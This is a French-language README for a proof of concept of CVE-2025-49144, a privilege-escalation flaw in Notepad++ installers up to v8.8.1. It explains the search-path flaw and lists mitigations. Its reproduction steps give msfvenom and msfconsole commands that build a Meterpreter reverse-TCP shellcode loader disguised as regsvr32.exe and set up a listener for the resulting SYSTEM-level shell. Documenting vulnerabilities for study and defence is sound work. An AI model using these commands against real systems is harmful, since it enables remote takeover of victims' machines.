
CVE-2025-49144 * Notepad++ v8.8.1 * POC au niveau SYSTEM
CVE-2025-49144 * Notepad++ v8.8.1 * POC de niveau SYSTEM

📌 CVE-2025-49144 est une vulnérabilité d'élévation de privilèges locale de sévérité élevée présente dans les installateurs de Notepad++ v8.8.1 et versions antérieures. Cette vulnérabilité provient d'un comportement non contrôlé du chemin de recherche des exécutables lors de l'installation, permettant à un attaquant local d'obtenir des privilèges de niveau SYSTEM en plaçant des exécutables malveillants dans le même répertoire que l'installateur.
⚙️ Comment fonctionne la CVE – Étape par étape:
🧱 1. Qu'est-ce qui a mal tourné dans l'installateur ?
L'installateur de Notepad++ (avant v8.8.2) appelle regsvr32.exe pour enregistrer certains composants — mais il le fait sans indiquer le chemin complet (comme C:\Windows\System32\regsvr32.exe).
Au lieu de cela, il exécute simplement:
regsvr32.exe some_dll 📂 2. Comportement du chemin de recherche de Windows: lorsqu'un exécutable est lancé sans chemin complet, Windows utilise un ordre de recherche spécifique pour trouver le fichier:
Le dossier à partir duquel l'application a été lancée (par exemple, Downloads)
Le dossier système (System32)
Le dossier Windows
Le répertoire de travail actuel
Les chemins dans la variable d'environnement PATH
Ainsi, si un faux regsvr32.exe est placé dans le même dossier que l'installateur (par exemple, Downloads), Windows l'utilisera avant le vrai.
💣 3. Exploitation:
L'attaquant place un regsvr32.exe malveillant dans le même dossier que l'installateur légitime de Notepad++ (par exemple, dans le dossier Downloads de la victime).
La victime exécute l'installateur (en pensant qu'il est sûr).
L'installateur appelle regsvr32.exe, mais finit par exécuter le fichier malveillant du même dossier — avec les privilèges SYSTEM (car les installateurs demandent généralement des autorisations administrateur).
La charge utile de l'attaquant s'exécute désormais sous NT AUTHORITY\SYSTEM. ⚙️ Étapes de reproduction:
Obtenir le code shell: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT=4444 -f c > shellcode.txt Télécharger le fichier "regsvr32_loader.c" et le modifier. Coller l'intégralité du shellcode depuis shellcode.txt dans le commentaire mentionné. Compiler en regsvr32.exe: x86_64-w64-mingw32-gcc regsvr32_loader.c -o regsvr32.exe -mwindows Déployer un listener meterpreter: msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.9 set LPORT 4444 run Télécharger une version vulnérable de Notepad++ c'est-à-dire antérieure à 8.8.1 car 8.8.1 est désormais automatiquement mis à jour.Pour le POC, j'ai utilisé Notepad++ v8.6.8 Déplacer le fichier "regsvr32.exe" dans le système Windows dans le même dossier que l'installateur de Notepad++, probablement dans le dossier Downloads. Terminer l'installation de l'installateur Notepad++. Remarque: il s'agit d'un POC, donc testé avec Windows Defender et la protection en temps réel désactivée.
✅ Atténuation
Les utilisateurs et administrateurs devraient:
Mettre à niveau vers Notepad++ v8.8.2 ou version ultérieure
Limiter l'installation de logiciels aux administrateurs de confiance
Utiliser AppLocker, WDAC ou les stratégies de restriction logicielle (SRP) pour:
Bloquer l'exécution depuis les dossiers accessibles en écriture par les utilisateurs (par exemple, Downloads) Empêcher l'exécution de binaires non fiables tels que regsvr32.exe depuis des chemins non autorisés Imposer la signature de code pour les exécutables Les équipes de sécurité devraient auditer régulièrement les chemins d'installation, surveiller les permissions d'écriture et observer le comportement lors de l'exécution de l'installateur afin de réduire la surface d'attaque.
🏷️ Licence Licence MIT — Gratuite pour des fins éducatives, de recherche et défensives uniquement.
🤝 Contribution Pull Requests bienvenues — améliorez la détection, ajoutez des fonctionnalités ou suggérez des correctifs.